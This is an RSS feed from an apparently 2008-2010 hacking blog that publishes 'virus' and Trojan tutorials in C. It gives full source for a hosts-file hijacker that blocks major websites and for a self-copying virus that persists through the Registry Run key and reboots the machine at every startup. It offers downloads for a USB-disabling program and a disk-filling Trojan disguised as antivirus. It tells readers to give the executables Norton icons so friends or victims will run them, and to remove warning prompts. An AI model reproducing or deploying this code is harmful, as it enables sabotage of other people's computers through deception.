<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Go Hacking &#187; C SOURCE CODES</title>
	<atom:link href="http://www.gohacking.com/category/c-source-codes/feed" rel="self" type="application/rss+xml" />
	<link>http://www.gohacking.com</link>
	<description>Learn How To Hack! Know more about Computer/Internet Security. Get Real Hacking Tips from Experts. Cool place to Learn Hacking</description>
	<lastBuildDate>Tue, 20 Jul 2010 03:15:05 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>A Virus Program to Disable USB Ports</title>
		<link>http://www.gohacking.com/2009/07/creating-a-virus-to-disable-usb-ports.html</link>
		<comments>http://www.gohacking.com/2009/07/creating-a-virus-to-disable-usb-ports.html#comments</comments>
		<pubDate>Sun, 19 Jul 2009 12:42:43 +0000</pubDate>
		<dc:creator>Srikanth</dc:creator>
				<category><![CDATA[C SOURCE CODES]]></category>
		<category><![CDATA[VIRUS CREATION]]></category>
		<category><![CDATA[WINDOWS VISTA HACKS]]></category>
		<category><![CDATA[WINDOWS XP HACKS]]></category>

		<guid isPermaLink="false">http://www.gohacking.com/?p=1597</guid>
		<description><![CDATA[In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-1598" title="Virus to disable USB ports" src="http://www.gohacking.com/wp-content/uploads/2009/07/block_usb.jpg" alt="Virus to disable USB ports" width="257" height="179" />In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.</p>
<p>Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you&#8217;ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.</p>
<p>1. <a rel="nofollow" href="http://www.gohacking.com/downloads/source_codes/USB_Block.rar">Download</a> the <a rel="nofollow" href="http://www.gohacking.com/downloads/source_codes/USB_Block.rar">USB_Block.rar</a> file on to your computer.</p>
<p>2. It contains the following 4 files.</p>
<ul>
<li>block_usb.c (source code)</li>
<li>unblock_usb.c (source code)</li>
</ul>
<p>3. You need to compile them before you can run it. A step-by-step procedure to compile C programs is given in my post - <span><a rel="bookmark" href="http://www.gohacking.com/2009/07/how-to-compile-c-programs.html">How to Compile C Programs</a>.</span></p>
<p>3. Upon compilation of block_usb.c you get <strong>block_usb.exe</strong> which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).</p>
<p>4. To test this virus, just run the <strong>block_usb.exe </strong>file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the <strong>unblock_usb.exe</strong>  (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.</p>
<p><span>5. You can also change the icon of this file to make it look like a legitimate program. For more details on this refer my post &#8211; <span><a title="Permanent Link to How to Change the ICON of an EXE file" rel="bookmark" href="http://www.gohacking.com/2008/10/how-to-change-icon-of-exe-file.html">How to Change the ICON of an EXE file</a> (This step is also optional).</span></span></p>
<p><span><span>I hope you like this post. Please pass your comments.</span></span></p>
<img src="http://www.gohacking.com/?ak_action=api_record_view&id=1597&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.gohacking.com/2009/07/creating-a-virus-to-disable-usb-ports.html/feed</wfw:commentRss>
		<slash:comments>43</slash:comments>
		</item>
		<item>
		<title>How to Make a Trojan Horse</title>
		<link>http://www.gohacking.com/2009/04/how-to-make-a-trojan-horse.html</link>
		<comments>http://www.gohacking.com/2009/04/how-to-make-a-trojan-horse.html#comments</comments>
		<pubDate>Sun, 05 Apr 2009 13:41:12 +0000</pubDate>
		<dc:creator>Srikanth</dc:creator>
				<category><![CDATA[C SOURCE CODES]]></category>
		<category><![CDATA[HOW-TO GUIDES]]></category>
		<category><![CDATA[VIRUS CREATION]]></category>
		<category><![CDATA[WINDOWS VISTA HACKS]]></category>
		<category><![CDATA[WINDOWS XP HACKS]]></category>

		<guid isPermaLink="false">http://www.gohacking.com/?p=1126</guid>
		<description><![CDATA[
Most of you may be curious to know about how to make a Trojan or Virus on your own. Here is an answer for your curiosity. In this post I&#8217;ll show you how to make a simple ...]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="size-medium wp-image-1128  aligncenter" title="How to Make a Trojan" src="http://www.gohacking.com/wp-content/uploads/2009/04/trojan-300x246.jpg" alt="How to Make a Trojan" width="300" height="246" /></p>
<p>Most of you may be curious to know about <strong>how to make a Trojan </strong>or Virus on your own. Here is an answer for your curiosity. In this post I&#8217;ll show you <strong>how to make a simple Trojan on your own </strong>using C programming language. This Trojan when executed will eat up the hard disk space on the root drive (The drive on which Windows is installed, usually C: Drive) of the computer on which it is run. Also this Trojan works pretty quickly and is capable of eating up approximately 1 GB of hard disk space for every minute it is run. So, I&#8217;ll call this as Space Eater Trojan. Since this Trojan is written using a high level programming language it is often undetected by antivirus. The source code for this Trojan is available for download at the end of this post. Let&#8217;s see how this Trojan works&#8230;</p>
<p>Before I move to explain the features of this Trojan you need to know <a href="http://en.wikipedia.org/wiki/Trojan_horse_(computing)" target="_blank">what exactly is a Trojan horse</a> and how it works. As most of us think a Trojan or a Trojan horse is not a virus. In simple words a Trojan horse is a program that appears to perform a desirable function but in fact performs undisclosed malicious functions that allow unauthorized access to the host machine or create a damage to the computer.</p>
<div>&nbsp;</div>
<p><strong>Now lets move to the working of our Trojan</strong></p>
<p>The Trojan horse which I have made appears itself as an antivirus program that scans the computer and removes the threats. But in reality it does nothing but occupy the hard disk space on the root drive by just filling it up with a huge junk file. The rate at which it fills up the hard disk space it too high. As a result the the disk gets filled up to 100% with in minutes of running this Trojan. Once the disk space is full, the Trojan reports that the scan is complete. The victim will not be able to clean up the hard disk space using any cleanup program. This is because the Trojan intelligently creates a huge file in the <strong>Windows\System32</strong> folder with the <strong>.dll </strong>extension. Since the junk file has the <strong>.dll</strong> extention it is often ignored by disk cleanup softwares. So for the victim, there is now way to recover the hard disk space unless reformatting his drive.</p>
<div>&nbsp;</div>
<p><strong>The algorithm of the Trojan is as follows</strong></p>
<p>1. Search for the <strong>root drive</strong></p>
<p>2. Navigate to <strong>WindowsSystem32</strong> on the root drive</p>
<p>3. Create the file named &#8220;<strong>spceshot.dll</strong>&#8221;</p>
<p>4. Start <strong>dumping the junk data </strong>onto the above file and keep increasing it&#8217;s size until the drive is full</p>
<p>5. Once the drive is full, <strong>stop the process</strong>.</p>
<p>You can <a rel="nofollow" href="http://www.gohacking.com/downloads/source_codes/Space_Eater.rar"><strong>download</strong></a> the Trojan source code<strong> </strong><a rel="nofollow" href="http://www.gohacking.com/downloads/source_codes/Space_Eater.rar"><strong>HERE</strong></a>. Please note that I have not included the executabe for security reasons. You need to compile it to obtain the executable.</p>
<div>&nbsp;</div>
<h3>How to compile, test and remove the damage?</h3>
<div>&nbsp;</div>
<p><strong>Compilation:</strong></p>
<p>For step-by-step compilation guide, refer my post <a href="http://www.gohacking.com/2009/07/how-to-compile-c-programs.html" target="_blank">How to compile C Programs</a>.</p>
<p><strong>Testing:</strong></p>
<p>To test the Trojan,  just run the <strong>SpaceEater.exe</strong> file on your computer. It&#8217;ll generate a warning message at the beginning. Once you accept it, the Trojan runs and eats up hard disk space.</p>
<div class='stb-warning_box' ><em>NOTE: To remove the warning message you&#8217;ve to edit the source code and then re-compile it.</em></div>
<div>&nbsp;</div>
<p><strong>How to remove the Damage and free up the space?</strong></p>
<p>To remove the damage and free up the space, just type the following in the &#8220;<strong>run</strong>&#8221; dialog box.</p>
<div class='stb-info_box' ><strong>%systemroot%\system32</strong></div>
<p>Now search for the file &#8220;<strong>spceshot.dll</strong>&#8220;. Just delete it and you&#8217;re done. No need to re-format the hard disk.</p>
<div class='stb-warning_box' ><strong><em> NOTE: You can also change the ICON of the virus to make it look like a legitimate program. This method is described in the post: </em></strong><a href="http://www.gohacking.com/2008/10/how-to-change-icon-of-exe-file.html"><strong><em>How to Change the ICON of an EXE file ?</em></strong></a></div>
<p>Please pass your comments and tell me your opinion. I am just waiting for your comments&#8230;</p>
<img src="http://www.gohacking.com/?ak_action=api_record_view&id=1126&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.gohacking.com/2009/04/how-to-make-a-trojan-horse.html/feed</wfw:commentRss>
		<slash:comments>81</slash:comments>
		</item>
		<item>
		<title>A Virus Program to Block Websites</title>
		<link>http://www.gohacking.com/2008/11/creating-virus-to-block-websites.html</link>
		<comments>http://www.gohacking.com/2008/11/creating-virus-to-block-websites.html#comments</comments>
		<pubDate>Fri, 21 Nov 2008 03:46:00 +0000</pubDate>
		<dc:creator>Srikanth</dc:creator>
				<category><![CDATA[C SOURCE CODES]]></category>
		<category><![CDATA[VIRUS CREATION]]></category>
		<category><![CDATA[WINDOWS VISTA HACKS]]></category>
		<category><![CDATA[WINDOWS XP HACKS]]></category>

		<guid isPermaLink="false">http://gohacking.com/?p=114</guid>
		<description><![CDATA[Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As ...]]></description>
			<content:encoded><![CDATA[<p><img class="size-medium wp-image-134 alignleft" title="firefox-blocked" src="http://www.gohacking.com/wp-content/uploads/2008/12/firefox-blocked.jpg" alt="" width="184" height="175" />Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I&#8217;ll use my favorite programming language <strong>&#8216;C&#8217;</strong> to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.</p>
<p>This virus has been exclusively created in <strong>&#8216;C&#8217;</strong>. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need&#8217;s to be clicked only once by the victim. Once it is clicked, it&#8217;ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install&#8217;s the operating system. This blocking is not just confined to<strong> IE</strong> or <strong>Firefox</strong>. So once blocked, the site will not appear in any of the browser program.</p>
<div class='stb-warning_box' ><strong>NOTE:</strong> You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post <a href="http://www.gohacking.com/2008/01/how-to-block-website.html"><strong>How to Block a Website ?</strong></a></div>
<p>Here is the sourcecode of the virus.</p>
<div class='stb-info_box' >#include&lt;stdio.h&gt;<br />
#include&lt;dos.h&gt;<br />
#include&lt;dir.h&gt;</p>
<p>char site_list[6][30]={<br />
&#8220;google.com&#8221;,<br />
&#8220;www.google.com&#8221;,<br />
&#8220;youtube.com&#8221;,<br />
&#8220;www.youtube.com&#8221;,<br />
&#8220;yahoo.com&#8221;,<br />
&#8220;www.yahoo.com&#8221;<br />
};<br />
char ip[12]=&#8221;127.0.0.1&#8243;;<br />
FILE *target;</p>
<p>int find_root(void);<br />
void block_site(void);</p>
<p>int find_root()<br />
{<br />
int done;<br />
struct ffblk ffblk;//File block structure</p>
<p>done=findfirst(&#8220;C:\\windows\\system32\\drivers\\etc\\hosts&#8221;,&amp;ffblk,FA_DIREC);<br />
/*to determine the root drive*/<br />
if(done==0)<br />
{<br />
target=fopen(&#8220;C:\\windows\\system32\\drivers\\etc\\hosts&#8221;,&#8221;r+&#8221;);<br />
/*to open the file*/<br />
return 1;<br />
}</p>
<p>done=findfirst(&#8220;D:\\windows\\system32\\drivers\\etc\\hosts&#8221;,&amp;ffblk,FA_DIREC);<br />
/*to determine the root drive*/<br />
if(done==0)<br />
{<br />
target=fopen(&#8220;D:\\windows\\system32\\drivers\\etc\\hosts&#8221;,&#8221;r+&#8221;);<br />
/*to open the file*/<br />
return 1;<br />
}</p>
<p>done=findfirst(&#8220;E:\\windows\\system32\\drivers\\etc\\hosts&#8221;,&amp;ffblk,FA_DIREC);<br />
/*to determine the root drive*/<br />
if(done==0)<br />
{<br />
target=fopen(&#8220;E:\\windows\\system32\\drivers\\etc\\hosts&#8221;,&#8221;r+&#8221;);<br />
/*to open the file*/<br />
return 1;<br />
}</p>
<p>done=findfirst(&#8220;F:\\windows\\system32\\drivers\\etc\\hosts&#8221;,&amp;ffblk,FA_DIREC);<br />
/*to determine the root drive*/<br />
if(done==0)<br />
{<br />
target=fopen(&#8220;F:\\windows\\system32\\drivers\\etc\\hosts&#8221;,&#8221;r+&#8221;);<br />
/*to open the file*/<br />
return 1;<br />
}</p>
<p>else return 0;<br />
}</p>
<p>void block_site()<br />
{<br />
int i;<br />
fseek(target,0,SEEK_END); /*to move to the end of the file*/</p>
<p>fprintf(target,&#8221;\n&#8221;);<br />
for(i=0;i&lt;6;i++)<br />
fprintf(target,&#8221;%s\t%s\n&#8221;,ip,site_list[i]);<br />
fclose(target);<br />
}</p>
<p>void main()<br />
{<br />
int success=0;<br />
success=find_root();<br />
if(success)<br />
block_site();<br />
}<br />
</div>
<p><strong>How to Compile ?</strong></p>
<p>For step-by-step compilation guide, refer my post <a href="http://www.gohacking.com/2009/07/how-to-compile-c-programs.html" target="_blank">How to compile C Programs</a>.</p>
<p><strong>Testing</strong></p>
<p>1. To test, run the compiled module. It will block the sites that is listed in the source code.</p>
<p>2. Once you run the file <strong>block_Site.exe</strong>, restart your browser program. Then, type the URL of the blocked site and you&#8217;ll see the browser showing error &#8220;<strong>Page cannot displayed</strong>&#8220;.</p>
<p>3. To remove the virus type the following the <strong>Run. </strong></p>
<div class='stb-info_box' ><strong>%windir%\system32\drivers\etc</strong></div>
<p>4. There, open the file named &#8220;hosts&#8221; using the notepad.At the bottom of the opened file you&#8217;ll see something like this</p>
<div class='stb-info_box' >127.0.0.1<span style="color: #ffffff;">                                </span>google.com</div>
<p>5. Delete all such entries which contain the names of blocked sites.</p>
<div class='stb-warning_box' ><strong>NOTE: You can also change the ICON of the virus to make it look like a legitimate program.This method is described in the post: <a href="http://www.gohacking.com/2008/10/how-to-change-icon-of-exe-file.html">How to Change the ICON of an EXE file ?</a></strong></div>
<img src="http://www.gohacking.com/?ak_action=api_record_view&id=114&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.gohacking.com/2008/11/creating-virus-to-block-websites.html/feed</wfw:commentRss>
		<slash:comments>65</slash:comments>
		</item>
		<item>
		<title>A Virus Program to Restart the Computer at Every Startup</title>
		<link>http://www.gohacking.com/2008/10/creating-virus-to-restart-computer-at.html</link>
		<comments>http://www.gohacking.com/2008/10/creating-virus-to-restart-computer-at.html#comments</comments>
		<pubDate>Fri, 17 Oct 2008 03:49:00 +0000</pubDate>
		<dc:creator>Srikanth</dc:creator>
				<category><![CDATA[C SOURCE CODES]]></category>
		<category><![CDATA[VIRUS CREATION]]></category>

		<guid isPermaLink="false">http://gohacking.com/?p=104</guid>
		<description><![CDATA[
Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-200" title="virus" src="http://www.gohacking.com/wp-content/uploads/2008/12/virus.jpg" alt="" width="300" height="300" /></p>
<p>Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.</p>
<p>For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, <strong>none of the antivirus softwares detect&#8217;s this as a virus </strong>since I have coded this virus in <strong>C</strong>. So if you are familiar with <strong>C language</strong> then it&#8217;s too easy to understand the logic behind the coding.</p>
<p>Here is the source code.</p>
<div class='stb-info_box' >#include&lt;stdio.h&gt;<br />
#include&lt;dos.h&gt;<br />
#include&lt;dir.h&gt;</p>
<p>int found,drive_no;char buff[128];</p>
<p>void findroot()<br />
{<br />
int done;<br />
struct ffblk ffblk; <span style="color: #990000;">//File block structure</span><br />
done=findfirst(&#8220;C:\\windows\\system&#8221;,&amp;ffblk,FA_DIREC); <span style="color: #990000;">//to determine the root drive</span><br />
if(done==0)<br />
{<br />
done=findfirst(&#8220;C:\\windows\\system\\sysres.exe&#8221;,&amp;ffblk,0); <span style="color: #990000;">//to determine whether the virus is already installed or not</span><br />
if(done==0)<br />
{<br />
found=1; <span style="color: #990000;">//means that the system is already infected</span><br />
return;<br />
}<br />
drive_no=1;<br />
return;<br />
}<br />
done=findfirst(&#8220;D:\\windows\\system&#8221;,&amp;ffblk,FA_DIREC);<br />
if(done==0)<br />
{<br />
done=findfirst(&#8220;D:\\windows\\system\\sysres.exe&#8221;,&amp;ffblk,0);<br />
if<br />
(done==0)<br />
{<br />
found=1;return;<br />
}<br />
drive_no=2;<br />
return;<br />
}<br />
done=findfirst(&#8220;E:\\windows\\system&#8221;,&amp;ffblk,FA_DIREC);<br />
if(done==0)<br />
{<br />
done=findfirst(&#8220;E:\\windows\\system\\sysres.exe&#8221;,&amp;ffblk,0);<br />
if(done==0)<br />
{<br />
found=1;<br />
return;<br />
}<br />
drive_no=3;<br />
return;<br />
}<br />
done=findfirst(&#8220;F:\\windows\\system&#8221;,&amp;ffblk,FA_DIREC);<br />
if(done==0)<br />
{<br />
done=findfirst(&#8220;F:\\windows\\system\\sysres.exe&#8221;,&amp;ffblk,0);<br />
if(done==0)<br />
{<br />
found=1;<br />
return;<br />
}<br />
drive_no=4;<br />
return;<br />
}<br />
else<br />
exit(0);<br />
}</p>
<p>void main()<br />
{<br />
FILE *self,*target;<br />
findroot();<br />
if(found==0) <span style="color: #990000;">//if the system is not already infected</span><br />
{<br />
self=fopen(_argv[0],&#8221;rb&#8221;); <span style="color: #990000;">//The virus file open&#8217;s itself</span><br />
switch(drive_no)<br />
{<br />
case 1:<br />
target=fopen(&#8220;C:\\windows\\system\\sysres.exe&#8221;,&#8221;wb&#8221;); <span style="color: #990000;">//to place a copy of itself in a remote place</span><br />
system(&#8220;REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\<br />
CurrentVersion\\Run \/v sres \/t REG_SZ \/d<br />
C:\\windows\\system\\ sysres.exe&#8221;); <span style="color: #990000;">//put this file to registry for starup</span><br />
break;</p>
<p>case 2:<br />
target=fopen(&#8220;D:\\windows\\system\\sysres.exe&#8221;,&#8221;wb&#8221;);<br />
system(&#8220;REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\<br />
CurrentVersion\\Run \/v sres \/t REG_SZ \/d<br />
D:\\windows\\system\\sysres.exe&#8221;);<br />
break;</p>
<p>case 3:<br />
target=fopen(&#8220;E:\\windows\\system\\sysres.exe&#8221;,&#8221;wb&#8221;);<br />
system(&#8220;REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\<br />
CurrentVersion\\Run \/v sres \/t REG_SZ \/d<br />
E:\\windows\\system\\sysres.exe&#8221;);<br />
break;</p>
<p>case 4:<br />
target=fopen(&#8220;F:\\windows\\system\\sysres.exe&#8221;,&#8221;wb&#8221;);<br />
system(&#8220;REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\<br />
CurrentVersion\\Run \/v sres \/t REG_SZ \/d<br />
F:\\windows\\system\\sysres.exe&#8221;);<br />
break;</p>
<p>default:<br />
exit(0);<br />
}</p>
<p>while(fread(buff,1,1,self)&gt;0)<br />
fwrite(buff,1,1,target);<br />
fcloseall();<br />
}</p>
<p>else<br />
system(&#8220;shutdown -r -t 0&#8243;); <span style="color: #990000;">//if the system is already infected then just give a command to restart<br />
</span>}</div>
<div class='stb-warning_box' ><strong>NOTE:</strong> <span style="color: #990000;">COMMENTS ARE GIVEN IN BROWN COLOUR.</span></div>
<div>&nbsp;</div>
<p><strong>Compiling The Scource Code Into Executable Virus.</strong></p>
<div>&nbsp;</div>
<p>1. Download the <a rel="nofollow" href="http://www.gohacking.com/downloads/source_codes/SysRes.rar"><strong>Source Code Here</strong></a></p>
<p>2. The downloaded file will be <strong>Sysres.C</strong></p>
<p>3. For step-by-step compilation guide, refer my post <a href="http://www.gohacking.com/2009/07/how-to-compile-c-programs.html" target="_blank">How to compile C Programs</a>.</p>
<div>&nbsp;</div>
<p><strong>Testing And Removing The Virus From Your PC</strong></p>
<div>&nbsp;</div>
<p>You can compile and test this virus on your own PC without any fear. To test, just doubleclick the <strong>sysres.exe</strong> file and restart the system manually. Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.<br />
It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by the following steps.</p>
<div>&nbsp;</div>
<p>1. Reboot your computer in the <strong>SAFE MODE</strong></p>
<p>2. Goto <div class='stb-info_box' ><strong> X:\Windows\System</strong></div> (<strong>X</strong> can be C,D,E or F)</p>
<p>3.You will find a file by name <strong>sysres.exe</strong>, delete it.</p>
<p>4.Type <strong>regedit </strong>in <strong>run</strong>.You will goto registry editor.Here navigate to</p>
<div class='stb-info_box' ><strong>HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run</strong></div><br />
 There, on the right site you will see an entry by name &#8220;<strong>sres</strong>&#8220;.Delete this entry.That&#8217;s it.You have removed this Virus successfully.</p>
<div>&nbsp;</div>
<p><strong>Logic Behind The Working Of The Virus</strong></p>
<div>&nbsp;</div>
<p>If I don&#8217;t explain the logic(<strong>Algorithm</strong>) behind the working of the virus,this post will be incomplete. So I&#8217;ll explain the logic in a simplified manner. Here I&#8217;ll not explain the technical details of the program.<strong> If you have further doubts please pass comments.</strong></p>
<div>&nbsp;</div>
<p><strong>LOGIC:</strong></p>
<div>&nbsp;</div>
<p>1. First the virus will find the Root partition (Partition on which Windows is installed).</p>
<p>2. Next it will determine whether the Virus file is already copied(Already infected) into <strong>X:\Windows\System</strong></p>
<p>3. If not it will just place a copy of itself into <strong>X:\Windows\System</strong> and makes a registry entry to put this virus file onto the startup.</p>
<p>4. Or else if the virus is already found in the <strong>X:\Windows\System</strong> directory(folder), then it just gives a command to <strong>restart</strong> the computer.</p>
<p>This process is repeated every time the PC is restarted.</p>
<p><div class='stb-warning_box' ><strong>NOTE: </strong>The system will not be restarted as soon as you double click the <strong>Sysres.exe</strong> file.The restarting process will occur from the next boot of the system.</div>
<div>&nbsp;</div>
<p><strong><span style="font-size: 130%;">AND ONE MORE THING BEFORE YOU LEAVE</span> (This Step is optional)</strong></p>
<div>&nbsp;</div>
<p>After you compile, the <strong>Sysres.exe</strong> file that you get will have a <strong>default icon</strong>. So if you send this file to your friends they may not click on it since it has a default ICON. So it is possible to change the ICON of this <strong>Sysres.exe</strong> file into any other ICON that is more trusted and looks attractive.</p>
<p>For example you can change the <strong>.exe</strong> file&#8217;s icon into <strong>Norton antivirus</strong> ICON itself so that the people seeing this file beleives that it is <strong>Norton antivirus</strong>. Or you can change it&#8217;s ICON into the ICON of any popular and trusted programs so that people will definitely click on it.</p>
<p>The detailed tutorial on changing the ICON is given in my post <a href="http://www.gohacking.com/2008/10/how-to-change-icon-of-exe-file.html"><strong>How To Change The ICON Of An EXE File</strong></a> .</p>
<img src="http://www.gohacking.com/?ak_action=api_record_view&id=104&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.gohacking.com/2008/10/creating-virus-to-restart-computer-at.html/feed</wfw:commentRss>
		<slash:comments>99</slash:comments>
		</item>
		<item>
		<title>File Embedder Project in C</title>
		<link>http://www.gohacking.com/2008/07/file-embedder-project-in-c.html</link>
		<comments>http://www.gohacking.com/2008/07/file-embedder-project-in-c.html#comments</comments>
		<pubDate>Mon, 21 Jul 2008 08:40:00 +0000</pubDate>
		<dc:creator>Srikanth</dc:creator>
				<category><![CDATA[C SOURCE CODES]]></category>

		<guid isPermaLink="false">http://gohacking.com/?p=71</guid>
		<description><![CDATA[
Some times it is necessary for our compiled project to have it&#8217;s supporting files embedded within the EXE module itself so that the supporting files may not be put into a seperate folder and carried ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-336" title="c" src="http://www.gohacking.com/wp-content/uploads/2008/12/c.jpg" alt="" width="158" height="125" /></p>
<p>Some times it is necessary for our compiled project to have it&#8217;s supporting files embedded within the EXE module itself so that the supporting files may not be put into a seperate folder and carried along with the project. So here I am presenting you with the source code of the FILE EMBEDDER UTILITY project.</p>
<p>This utility can be used to embed one file with in the other. ie: Suppose we need to embed a .bat file(or any other file *.exe,*bmp,.txt&#8230;..) into our final project so that the batch file is present with in the compiled module and is hidden from the users avoiding tthe need to carry the .bat file every time with the project.</p>
<p>Both the Embedding and extraction process has been presented in seperate functions for your convenience. Here&#8217;s the code&#8230;..</p>
<div class='stb-info_box' >#include&lt;stdio.h&gt;<br />
#include&lt;conio.h&gt;<br />
#include&lt;fcntl.h&gt;<br />
#include&lt;sys/types.h&gt;<br />
#include&lt;sys/stat.h&gt;<br />
#include&lt;stdlib.h&gt;<br />
#include&lt;string.h&gt;</p>
<p>void embed(void);<br />
void extract(void);</p>
<p>char buff[1],sname[128],tname[128],dname[128],choice;<br />
unsigned long int size=0;long int psize=0;int outh,bytes=0;<br />
FILE *source,*target,*data;</p>
<p>void main()<br />
{<br />
while(1)<br />
{<br />
clrscr();<br />
puts(&#8220;\n\n\t\t\tFILE EMBEDDING UTILITY BY SRIKANTH\n\n\n&#8221;);<br />
puts(&#8220;1.Embed A File 2. Extract A File 3.Exit\n&#8221;);<br />
choice=getch();<br />
switch(choice)<br />
{<br />
case &#8217;1&#8242;:embed();<br />
getch();<br />
break;<br />
case &#8217;2&#8242;:<br />
extract();<br />
getch();<br />
break;<br />
default:<br />
exit(0);<br />
}<br />
}<br />
}</p>
<p>void embed()<br />
{<br />
puts(&#8220;\nEnter The Source Filename\n&#8221;);<br />
scanf(&#8220;%s&#8221;,sname);<br />
source=fopen(sname,&#8221;rb+&#8221;);<br />
if(source==NULL)<br />
{<br />
puts(&#8220;\nCannot Open The Source File\n&#8221;);<br />
return;<br />
}<br />
puts(&#8220;\nEnter The Target Filename\n&#8221;);<br />
scanf(&#8220;%s&#8221;,tname);<br />
outh=open(tname,O_RDONLYO_BINARY);<br />
if(outh==-1)<br />
{<br />
puts(&#8220;\nCannot Open The Target File\n&#8221;);<br />
return;<br />
}<br />
printf(&#8220;\nReading The Source File Please Wait&#8230;\n&#8221;);<br />
while((bytes=read(outh,buff,1))&gt;0)<br />
size+=bytes;<br />
data=fopen(&#8220;Data.cfg&#8221;,&#8221;w&#8221;);<br />
if(data==NULL)<br />
{<br />
puts(&#8220;\nCannot Create Configuration The File\n&#8221;);<br />
return;<br />
}<br />
fprintf(data,&#8221;%lu&#8221;,size);<br />
close(outh);<br />
fclose(data);<br />
target=fopen(tname,&#8221;rb&#8221;);<br />
if(target==NULL)<br />
{<br />
puts(&#8220;Cannot Open Target File\n&#8221;);<br />
return;<br />
}<br />
printf(&#8220;\nEmbedding Please Wait&#8230;\n&#8221;);<br />
fseek(source,0,SEEK_END);<br />
while(fread(buff,1,1,target)&gt;0)<br />
fwrite(buff,1,1,source);<br />
fcloseall();<br />
printf(&#8220;\nEmbedding Completed Successfully\n&#8221;);<br />
}</p>
<p>void extract()<br />
{<br />
printf(&#8220;\nEnter The Source Filename\n&#8221;);<br />
scanf(&#8220;%s&#8221;,sname);<br />
source=fopen(sname,&#8221;rb&#8221;);<br />
if(source==NULL)<br />
{<br />
printf(&#8220;\nCannot Open The Source File\n&#8221;);<br />
return;<br />
}<br />
printf(&#8220;\nEnter The Target Filename(eg: abc.exe)\n&#8221;);<br />
scanf(&#8220;%s&#8221;,tname);<br />
printf(&#8220;\nEnter The Configuration Filename(eg: DATA.cfg)\n&#8221;);<br />
scanf(&#8220;%s&#8221;,dname);<br />
data=fopen(dname,&#8221;r&#8221;);<br />
if(data==NULL)<br />
{<br />
printf(&#8220;\nConfiguration File Not Found\n&#8221;);<br />
return;<br />
}<br />
fscanf(data,&#8221;%ld&#8221;,&amp;psize);<br />
target=fopen(tname,&#8221;wb&#8221;);<br />
if(target==NULL)<br />
{<br />
puts(&#8220;\nCannot Open The Target File\n&#8221;);<br />
return;<br />
}<br />
printf(&#8220;\nExtracting Please Wait&#8230;\n&#8221;);<br />
fseek(source,-psize,SEEK_END);<br />
while((fread(buff,1,1,source))&gt;0)<br />
fwrite(buff,1,1,target);<br />
printf(&#8220;\nFile Extraction Completed Successfully\n&#8221;);<br />
fcloseall();<br />
}</div>
<div class='stb-download_box' >YOU CAN DOWNLOAD THE COMPILED MODULE OF THE ABOVE CODE <a rel="nofollow" href="http://www.gohacking.com/downloads/source_codes/File_Embed.rar"><strong>HERE</span></strong></a></div>
<img src="http://www.gohacking.com/?ak_action=api_record_view&id=71&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.gohacking.com/2008/07/file-embedder-project-in-c.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>C Program Without a Main Function</title>
		<link>http://www.gohacking.com/2008/03/c-program-without-main-function.html</link>
		<comments>http://www.gohacking.com/2008/03/c-program-without-main-function.html#comments</comments>
		<pubDate>Sun, 02 Mar 2008 20:20:00 +0000</pubDate>
		<dc:creator>Srikanth</dc:creator>
				<category><![CDATA[C SOURCE CODES]]></category>

		<guid isPermaLink="false">http://gohacking.com/?p=59</guid>
		<description><![CDATA[How to write a C program without a main function?. Is it possible to do that. Yes there can be a C program without a main function. Here&#8217;s the code of the program without a ...]]></description>
